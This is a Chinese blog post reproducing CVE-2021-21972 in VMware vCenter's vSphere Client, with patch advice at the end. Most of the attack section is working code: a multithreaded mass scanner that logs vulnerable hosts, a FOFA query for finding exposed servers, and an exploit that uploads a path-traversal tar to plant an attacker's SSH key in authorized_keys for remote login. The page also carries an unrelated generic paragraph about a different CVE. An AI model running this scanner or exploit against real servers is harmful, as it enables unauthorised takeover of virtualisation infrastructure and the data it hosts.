CVE-2021-21972 vSphere Client RCE复现,附POC & EXP

漏洞简介

vSphere 是 VMware 推出的虚拟化平台套件,包含 ESXi、vCenter Server 等一系列的软件。其中 vCenter Server 为 ESXi 的控制中心,可从单一控制点统一管理数据中心的所有 vSphere 主机和虚拟机。

vSphere Client(HTML5) 在 vCenter Server 插件中存在一个远程执行代码漏洞。未授权的攻击者可以通过开放 443 端口的服务器向 vCenter Server 发送精心构造的请求,写入webshell,控制服务器。

影响范围

VMware vCenter Server: 7.0/6.7/6.5

漏洞分析

vCenter Server中的vrops插件存在一些未鉴定权限的敏感接口,其中uploadova接口具有文件上传功能。

    @RequestMapping(
        value = {"/uploadova"},
        method = {RequestMethod.POST}
    )
    public void uploadOvaFile(@RequestParam(value = "uploadFile",required = true) CommonsMultipartFile uploadFile, HttpServletResponse response) throws Exception {
        logger.info("Entering uploadOvaFile api");
        int code = uploadFile.isEmpty() ? 400 : 200;
        PrintWriter wr = null;
...
        response.setStatus(code);
        String returnStatus = "SUCCESS";
        if (!uploadFile.isEmpty()) {
            try {
                logger.info("Downloading OVA file has been started");
                logger.info("Size of the file received  : " + uploadFile.getSize());
                InputStream inputStream = uploadFile.getInputStream();
                File dir = new File("/tmp/unicorn_ova_dir");
                if (!dir.exists()) {
                    dir.mkdirs();
                } else {
                    String[] entries = dir.list();
                    String[] var9 = entries;
                    int var10 = entries.length;

                    for(int var11 = 0; var11 < var10; ++var11) {
                        String entry = var9[var11];
                        File currentFile = new File(dir.getPath(), entry);
                        currentFile.delete();
                    }

                    logger.info("Successfully cleaned : /tmp/unicorn_ova_dir");
                }

                TarArchiveInputStream in = new TarArchiveInputStream(inputStream);
                TarArchiveEntry entry = in.getNextTarEntry();
                ArrayList result = new ArrayList();

代码中,将tar文件解压后,上传到/tmp/unicorn_ova_dir目录

                while(entry != null) {
                    if (entry.isDirectory()) {
                        entry = in.getNextTarEntry();
                    } else {
                        File curfile = new File("/tmp/unicorn_ova_dir", entry.getName());
                        File parent = curfile.getParentFile();
                        if (!parent.exists()) {
                            parent.mkdirs();

上述代码直接将tar解压的文件名与/tmp/unicorn_ova_dir拼接并写入文件,这里可以使用../绕过目录限制。

若目标为Linux环境,可以创建一个文件名为../../home/vsphere-ui/.ssh/authorized_keys的tar文件,上传后即可使用SSH连接服务器。

POC & EXP

POC来自github:
https://github.com/QmF0c3UK/CVE-2021-21972-vCenter-6.5-7.0-RCE-POC/blob/main/CVE-2021-21972.py

#-*- coding:utf-8 -*-
banner = """
        888888ba             dP                     
        88    `8b            88                     
       a88aaaa8P' .d8888b. d8888P .d8888b. dP    dP 
        88   `8b. 88'  `88   88   Y8ooooo. 88    88 
        88    .88 88.  .88   88         88 88.  .88 
        88888888P `88888P8   dP   `88888P' `88888P' 
   ooooooooooooooooooooooooooooooooooooooooooooooooooooo 
                @time:2021/02/24 CVE-2021-21972.py
                C0de by NebulabdSec - @batsu                  
 """
print(banner)

import threadpool
import random
import requests
import argparse
import http.client
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
http.client.HTTPConnection._http_vsn = 10
http.client.HTTPConnection._http_vsn_str = 'HTTP/1.0'

TARGET_URI = "/ui/vropspluginui/rest/services/uploadova"

def get_ua():
    first_num = random.randint(55, 62)
    third_num = random.randint(0, 3200)
    fourth_num = random.randint(0, 140)
    os_type = [
        '(Windows NT 6.1; WOW64)', '(Windows NT 10.0; WOW64)', '(X11; Linux x86_64)',
        '(Macintosh; Intel Mac OS X 10_12_6)'
    ]
    chrome_version = 'Chrome/{}.0.{}.{}'.format(first_num, third_num, fourth_num)

    ua = ' '.join(['Mozilla/5.0', random.choice(os_type), 'AppleWebKit/537.36',
                   '(KHTML, like Gecko)', chrome_version, 'Safari/537.36']
                  )
    return ua

def CVE_2021_21972(url):
    proxies = {"scoks5": "http://127.0.0.1:1081"}
    headers = {
        'User-Agent': get_ua(),
        "Content-Type": "application/x-www-form-urlencoded"
    }
    targetUrl = url + TARGET_URI
    try:
        res = requests.get(targetUrl,
                            headers=headers,
                            timeout=15,
                            verify=False,
                            proxies=proxies)
                            # proxies={'socks5': 'http://127.0.0.1:1081'})
        # print(len(res.text))
        if res.status_code == 405:
            print("[+] URL:{}--------存在CVE-2021-21972漏洞".format(url))
            # print("[+] Command success result: " + res.text + "\n")
            with open("存在漏洞地址.txt", 'a') as fw:
                fw.write(url + '\n')
        else:
            print("[-] " + url + " 没有发现CVE-2021-21972漏洞.\n")
    # except Exception as e:
    #     print(e)
    except:
        print("[-] " + url + " Request ERROR.\n")
def multithreading(filename, pools=5):
    works = []
    with open(filename, "r") as f:
        for i in f:
            func_params = [i.rstrip("\n")]
            # func_params = [i] + [cmd]
            works.append((func_params, None))
    pool = threadpool.ThreadPool(pools)
    reqs = threadpool.makeRequests(CVE_2021_21972, works)
    [pool.putRequest(req) for req in reqs]
    pool.wait()

def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("-u",
                        "--url",
                        help="Target URL; Example:http://ip:port")
    parser.add_argument("-f",
                        "--file",
                        help="Url File; Example:url.txt")
    # parser.add_argument("-c", "--cmd", help="Commands to be executed; ")
    args = parser.parse_args()
    url = args.url
    # cmd = args.cmd
    file_path = args.file
    if url != None and file_path ==None:
        CVE_2021_21972(url)
    elif url == None and file_path != None:
        multithreading(file_path, 10)  # 默认15线程

if __name__ == "__main__":
    main()

EXP来自CSDN:
https://blog.csdn.net/weixin_43650289/article/details/114055417

import tarfile
import os
from io import BytesIO
import requests

proxies = {
  "http": "http://127.0.0.1:8080",
  "https": "http://127.0.0.1:8080",
}
def return_zip():
    with tarfile.open("test.tar", 'w') as tar:
        payload = BytesIO()
        id_rsa_pub = 'ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwgGuwNdSGHKvzHsHt7QImwwJ08Wa/+gHXOt+VwZTD23rLwCGVeYmfKObDY0uFfe2O4jr+sPamgA8As4LwdqtkadBPR+EzZB+PlS66RcVnUnDU4UdMhQjhyj/uv3pdtugugJpB9xaLdrUWwGoOLYA/djxD5hmojGdoYydBezsNhj2xXRyaoq3AZVqh1YLlhpwKnzhodk12a7/7EU+6Zj/ee5jktEwkBsVsDLTTWPpSnzK7r+kAHkbYx8fvO3Fk+9jlwadgbmhHJrpPr8gLEhwvrEnPcK1/j+QXvVkgy2cuYxl9GCUPv2wgZCN50f3wQlaJiektm2S9WkN5dLDdX+X4w=='
        tarinfo = tarfile.TarInfo(name='../../../home/vsphere-ui/.ssh/authorized_keys')
        f1 = BytesIO(id_rsa_pub.encode())
        tarinfo.size = len(f1.read())
        f1.seek(0)
        tar.addfile(tarinfo, fileobj=f1)
        tar.close()
        payload.seek(0)
def getshell(url):
    files = {'uploadFile':open('test.tar','rb')}
    try:
        r = requests.post(url=url, files=files,proxies=proxies,verify = False).text
        print(r)
    except:
        print('flase')

if __name__ == "__main__":
    try:
        return_zip()
        url="https://192.168.1.1/ui/vropspluginui/rest/services/uploadova"
        getshell(url)
    except IOError as e:
        raise e

漏洞复现

fofa搜索title="+ ID_VC_Welcome +"

使用POC验证漏洞是否存在:

使用EXP上传tar文件:

成功上传authorized_keys

修复建议

  • vCenter Server7.0版本升级到7.0.U1c
  • vCenter Server6.7版本升级到6.7.U3l
  • vCenter Server6.5版本升级到6.5 U3n

参考链接

https://www.vmware.com/security/advisories/VMSA-2021-0002.html

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
CVE-2021-28041是一个安全漏洞,它影响了某个软件或系统的特定版本。由于我无法得知你具体指的是哪个软件或系统的CVE-2021-28041漏洞,因此无法提供具体的步骤。但是,我可以给你一些一般性的漏洞的方法和建议。 要CVE-2021-28041漏洞,通常需要以下步骤: 1. 确定受影响的软件或系统版本:首先,你需要确定你使用的软件或系统是否受到CVE-2021-28041漏洞的影响。可以查看相关厂商或组织发布的安全公告或漏洞报告来获取这些信息。 2. 了解漏洞的详细信息:阅读CVE-2021-28041漏洞的详细描述和相关文档,了解漏洞的原理和影响范围。这将帮助你更好地理解漏洞,并为做好准备。 3. 搭建实验环境:在一个安全的环境中,搭建一个与受影响软件或系统版本相匹配的实验环境。这可以是一个虚拟机、容器或者专门用于安全测试的实验环境。 4. 漏洞:根据漏洞的描述和相关文档,尝试CVE-2021-28041漏洞。这可能涉及到构造特定的输入、触发特定的操作或者利用软件或系统中的某个弱点。 5. 验证漏洞:一旦成功漏洞,验证漏洞的存在和影响。这可以通过观察系统行为、获取敏感信息或者执行未授权的操作来进行验证。 请注意,漏洞是一项敏感的活动,需要在合法授权和合法范围内进行。在进行任何安全测试之前,请确保你已经获得了相关授权,并遵守法律和道德规范。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值